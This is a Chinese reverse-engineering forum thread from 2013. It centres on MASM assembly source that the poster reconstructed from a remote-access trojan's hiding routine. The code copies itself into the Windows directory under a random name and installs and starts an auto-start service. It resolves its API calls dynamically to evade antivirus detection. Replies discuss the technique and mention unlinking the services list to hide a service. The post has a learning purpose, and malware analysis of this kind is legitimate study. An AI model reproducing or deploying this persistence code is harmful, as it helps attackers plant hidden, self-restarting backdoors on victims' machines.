首页
社区
课程
招聘
[原创]逆向笔记--某远控的隐藏技术
发表于: 2013-12-14 01:18 8181

[原创]逆向笔记--某远控的隐藏技术

2013-12-14 01:18
8181

因为本人实在太菜了,所以只能分析出来他的隐藏技术,不过这样也好,杜绝了一些人会做坏事,本代码仅限于技术交流,刚刚还只是主动防御拦截下,但是现在就高危报毒了,表面免杀都过不去了,唉,不说了,说多了,都是泪,win32源码如下:
.386
.model flat,stdcall
option casemap:none

include                windows.inc
include                user32.inc
includelib        user32.lib
include         kernel32.inc
includelib        kernel32.lib

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-函数名称-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
.const
sz11                        db        "程序已经在windows目录下了",0
sz22                        db        "标题",0
szUnlockService                db        "UnlockServiceDatabase",0
szExe                        db        "\%c%c%c%c%c%c.exe",0
szTest                        db        ".Test1",0
szCunMang                db        ".CunMang1",0
szMiaoShu                db        "BingDuMiaoShu",0

szGetModuleFileName        db        "GetModuleFileNameA",0
szGetWindowsDirectory        db        "GetWindowsDirectoryA",0
szCopyFile                db        "CopyFileA",0

szOpenSCM                db        "OpenSCManagerA",0
szCloseServiceHandle        db        "CloseServiceHandle",0
szStartService                db        "StartServiceA",0

szChangeService                db        "ChangeServiceConfig2A",0

szAdvapi32                db         "ADVAPI32.DLL",0

szCreateService                db        "CreateServiceA",0
szGetTickCount                db        "GetTickCount",0
szKernel                db        "kernel32.dll",0
szLockService                db        "LockServiceDatabase",0

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-函数地址-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
.data

szFileName                db        128 dup (?)        ;当前路径
szWindowDirect                db        128 dup (?)        ;windows目录路径
szNullFileName                db        128 dup (?)        ;windows目录路径,这个加上了exe
szMuBiaoName                db        128 dup (?)        ;清0的内存

szTime                        dd        1
szExeBuffer                db        128 dup        (?)
HandleData                dd        ?
HandleCreateService        dd        ?
szLocalService1                dd        ?

addrKernel                dd        ?
addrGetModuleFileName        dd        ?
addrGetWindowsDirectory        dd        ?
addrCopyFile                dd        ?

addrAdv                        dd        ?
addrOpenSCM                dd        ?
addrOpenService                dd        ?
addrCreateService        dd        ?
addrCloseServiceHandle        dd        ?
addrLockService                dd        ?
addrUnlockService        dd        ?
addrChangeService        dd        ?
addrStartService        dd        ?
addrGetTickCount        dd        ?

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-代码段-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
.code

_SuanFa proc  szVar
        push esi
       
        call addrGetTickCount
        mov  esi,eax                        ;时间的返回值
       
        mov  eax,szTime
        imul eax,eax,343FDh
        add  eax,269EC3h
        mov  szTime,eax                        ;变量的值改变
        sar  eax,10h
        and  eax,7FFFh
       
        add  eax,3h                        ;eax的值也改变
        xor  edx,edx                        ;高位是0  因为除以的是32位数值
        imul eax,esi                        ;esi是原来时间函数的返回值,这里与算法后的eax想乘
        div  szVar
        pop  esi
        mov  eax,edx                        ;余数返回给eax
       
        ret
_SuanFa endp

start :
        ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=这是ADVAPI32.DLL中的敏感函数-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
        push offset szAdvapi32
        call LoadLibrary
        mov  addrAdv,eax                ;得到ADVAPI32.dll
       
        push offset szOpenSCM
        push addrAdv
        call GetProcAddress                ;得到OpenSCManager
        mov  addrOpenSCM,eax
       
        push offset szCloseServiceHandle
        push addrAdv
        call GetProcAddress                ;得到CloseService
        mov  addrCloseServiceHandle,eax       
       
        push offset szStartService
        push addrAdv
        call GetProcAddress
        mov  addrStartService,eax        ;得到StartService
       
        push offset szLockService
        push addrAdv
        call GetProcAddress
        mov addrLockService,eax                ;得到LockService
               
        push offset szUnlockService
        push addrAdv
        call GetProcAddress
        mov addrUnlockService,eax        ;得到UnlockServiceDatabase
       
        push offset szChangeService
        push addrAdv
        call GetProcAddress
        mov  addrChangeService,eax        ;得到ChangeServiceConfig2A
       
        push offset szCreateService
        push addrAdv
        call GetProcAddress
        mov addrCreateService,eax        ;得到CreateService
       
       
        ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=这是kernel32中的敏感函数-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
        push offset szKernel
        call GetModuleHandle               
        mov  addrKernel,eax                ;得到kernel32的句柄
       
        push offset szGetModuleFileName
        push addrKernel
        call GetProcAddress
        mov  addrGetModuleFileName,eax        ;得到GetModuleFile
       
        push offset szGetWindowsDirectory
        push addrKernel
        call GetProcAddress       
        mov  addrGetWindowsDirectory,eax ;得到GetWindowsDirectory
       
        push offset szCopyFile
        push addrKernel
        call GetProcAddress       
        mov  addrCopyFile,eax                  ;得到CopyFile
       
        push offset szGetTickCount
        push addrKernel
        call GetProcAddress
        mov addrGetTickCount,eax        ;得到GetTickCount
       
        push 128
        push offset szFileName
        push NULL
        call addrGetModuleFileName        ;返回值是名字的长度,名称已经放到了缓冲区
       
        push 128
        push offset szWindowDirect
        call addrGetWindowsDirectory        ;得到windoes目录,如果是system32 则是GetSystemDirectory
       
        push 128
        push offset szNullFileName
        call addrGetWindowsDirectory        ;再次得到windows目录
       
        mov edi,offset szWindowDirect        ;比较字符串中的内容
        mov ebx,edi
        mov ecx,128                         ;比较FFFF  FFFF次
        mov al,0                        ;比较的字符是0
        cld
        repne scasb                        ;当CX=0  或者 ZF=1 就退出循环
        sub edi,ebx                        ;此时edi就是字符长度
        sub edi,1                        ;减去字符串结尾的0
       
        mov ecx,edi
        mov esi,offset szFileName        ;源字符串
        mov edi,offset szWindowDirect        ;目的字符串
       

       
s:        mov al,[esi]
        mov bl,[edi]
        cmp al,bl
        jnz WindowsName                                                        ;如果不在windows目录下,就开始复制到windows下面了
        inc esi
        inc edi
        loop s
        jmp  _Service                                                        ;能走到这一步,代表已经比较完了,字符串肯定相等,就开始服务了
       
       
WindowsName:                                                                ;如果已经在windows目录下了,就进行设置服务函数

                push 1Ah
                call _SuanFa
                mov  ecx,1Ah
                push 61h
                pop  edi
                add  eax,edi
                push eax                ;第一个字符
               
                push 1Ah
                call _SuanFa       
                mov  ecx,1Ah
                add  eax,edi
                push eax                ;第二个字符
               
                push 1Ah
                call _SuanFa       
                mov  ecx,1Ah
                add  eax,edi
                push eax                ;第三个字符
               
                push 1Ah
                call _SuanFa       
                mov  ecx,1Ah
                add  eax,edi
                push eax                ;第四个字符
               
                push 1Ah
                call _SuanFa
                mov  ecx,1Ah
                add  eax,edi
                push eax                ;第五个字符
               
                push 1Ah
                call _SuanFa
                mov  ecx,1Ah
                add  eax,edi
                push eax                ;第六个字符
               
                push  offset szExe
                push  offset szExeBuffer
                call  wsprintf
                               
                invoke lstrcat,offset szNullFileName,offset szExeBuffer
                push TRUE
                push offset szNullFileName
                push offset szFileName
                call addrCopyFile        ;开始复制
               
                invoke RtlMoveMemory,offset szFileName,offset szMuBiaoName,120                        ;内存清零
                 invoke RtlMoveMemory,offset szFileName,offset szNullFileName,120                ;填充新的路径
                
                invoke MessageBox,NULL,offset szNullFileName,offset szWindowDirect,MB_OK

                jmp Windows
                                                       
       
       
_Service:        invoke MessageBox,NULL,offset sz11,offset sz22,MB_OK

Windows:          
         push SC_MANAGER_ALL_ACCESS        ;OD中这个显示的是数值F003F,那么肯定有朋友要知道我是怎么知道这个宏的,很简单,载入IDA,右键Use Stadard Symbolic....
         push NULL                        ;如果该指针为NULL ,该ServicesActive数据库默认情况下打开。
         push NULL                        ;如果该指针为NULL ,或者如果它指向一个空字符串,函数连接到服务控制管理器在本地计算机上。
         call addrOpenSCM                ;函数建立了一个连接到服务控制管理器,并打开指定的数据库。
         
         mov HandleData,eax                ;如果函数成功,返回值是一个句柄指定的服务控制管理器数据库
         mov edi,eax                        ;先保存起来,因为参数需要eax
         xor ebx,ebx
         cmp edi,ebx                        ;测试返回值
         jz  _exit
       
         mov eax,ebx
         mov ebx,eax
         xor ebx,ebx
       
         push ebx
         push ebx
         push ebx
         push ebx
         push ebx
         push offset szFileName
         push SERVICE_ERROR_NORMAL
         push SERVICE_AUTO_START
         push SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS
         push SERVICE_ALL_ACCESS
         push offset szCunMang
         push offset szTest
         push edi
         call addrCreateService                 ;创建一个服务对象并且把它加入到服务管理数据库中
         
         mov HandleCreateService,eax        ;保存句柄
         
         push edi                       
         call addrLockService                ;锁定数据库
         mov  szLocalService1,eax
         
         push offset szMiaoShu
         push 1
         push 0
         call addrChangeService
         
         push szLocalService1
         call addrUnlockService
         
         push 0
         push 0
         push 0
         call addrStartService
_exit:         
         
         
         invoke ExitProcess,NULL

end start

一天一夜逆出来的,对于我这种小菜,实在很累了,看下时间 已经一点多了,先睡觉去。。。。。。。。。。。。。。。。。。。


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 5
支持
分享
最新回复 (30)
雪    币: 1555
活跃值: (3103)
能力值: ( LV11,RANK:180 )
在线值:
发帖
回帖
粉丝
2
楼主如何逆出来的用什么工具,有什么经验分享吗??? 可以写篇经验贴  期待期待
2013-12-14 09:12
0
雪    币: 11
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
真心不如不丢代码把原理说下
2013-12-14 10:25
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
5
表面免杀都过不去, 还逆啥呀...
2013-12-14 12:24
0
雪    币: 302
活跃值: (246)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
6
恩,我分析的到w这个远控是鬼影集群防火墙下面的一个版本,叫做沙漠集群,他的隐藏方式就是先判断当前程序是否在windows目录下,如果不在就复制indows目录,名字是根据算法子程序算出来的,算法子程序主要做的就是根据GetTickCount的返回值 然后进行一些逻辑运算,最后得到一个字符,这个子程序被调用了六次,所以生成了六个字符,作为生成到windows下面的程序名字,然后就是openSCManager和CreateService 以及StartService,服务对应的是windows下面的那个子程序,这样基本的一个程序就生成了,当然,开启服务后,后门还有一些动作,主要是破坏电脑的,我就没写出来,喜欢的朋友也可以自己研究下,360主动防御会提示,所以很快就会上传,然后表面免杀也会过不去了,但是程序已经运行了,并且开机重启后也会运行,基本的思路,还是看下那个源码吧,要改进的地方还有很多
2013-12-14 14:27
0
雪    币: 302
活跃值: (246)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
7
没法,本人太菜了,只能做到这样
2013-12-14 14:28
0
雪    币: 302
活跃值: (246)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
8
基本就是OD和IDA都载入病毒程序,然后我源码对着写,源码基本就是调试出来的
2013-12-14 14:29
0
雪    币: 2664
活跃值: (3401)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
9
找点能免杀的样本分析吧...  
2013-12-14 14:31
0
雪    币: 302
活跃值: (246)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
10
本来是应朋友要求找后门的,结果后门没找到,找到了他的隐藏方法,本意不想接触这些的,犯法那!!!!!!
2013-12-14 15:00
0
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
看不懂!!!
2013-12-14 17:09
0
雪    币: 272
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
Mark一下,回头学习!
2013-12-14 17:18
0
雪    币: 27
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
请问你的隐藏在那里?是运行程序它会创建隐藏服务?如果是我感觉我失望了啊,没有效果,求解释
2013-12-15 11:15
0
雪    币: 110
活跃值: (527)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
14
擦,这就是所谓的隐藏?
2013-12-16 08:54
0
雪    币: 19
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
15
集群。。。。
2013-12-16 09:15
0
雪    币: 19
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
lz在科普如何使用汇编进行服务操作,服务简单隐藏可以直接断services链就可以了~
2013-12-16 10:27
0
雪    币: 302
活跃值: (246)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
17
大不了俺以后不帖了,大神表酱紫啊,毕竟俺又不是搞病毒的,只是碰巧看到了,就win32写了出来。。。。。。。。。。。。
2013-12-16 11:30
0
雪    币: 39
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
感谢LZ,我们看着也很带感,虽然不懂。
2013-12-16 12:11
0
雪    币: 37
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
看不懂偶
2013-12-16 16:58
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
先膜拜一下楼主把!
2013-12-16 22:40
0
雪    币: 81
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
有啥用。。。
2013-12-17 05:46
0
雪    币: 237
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
我来赚点kx的,还没凑够50
2013-12-17 06:05
0
雪    币: 36
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
虽然看不太懂,但看到解释一下就明白好多了。
2013-12-17 08:18
0
雪    币: 39
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
我是菜鸟,也来学习一下。
2013-12-17 21:27
0
雪    币: 1585
活跃值: (182)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
鼓励下~~~
2013-12-17 22:55
0
游客
登录 | 注册 方可回帖
返回
//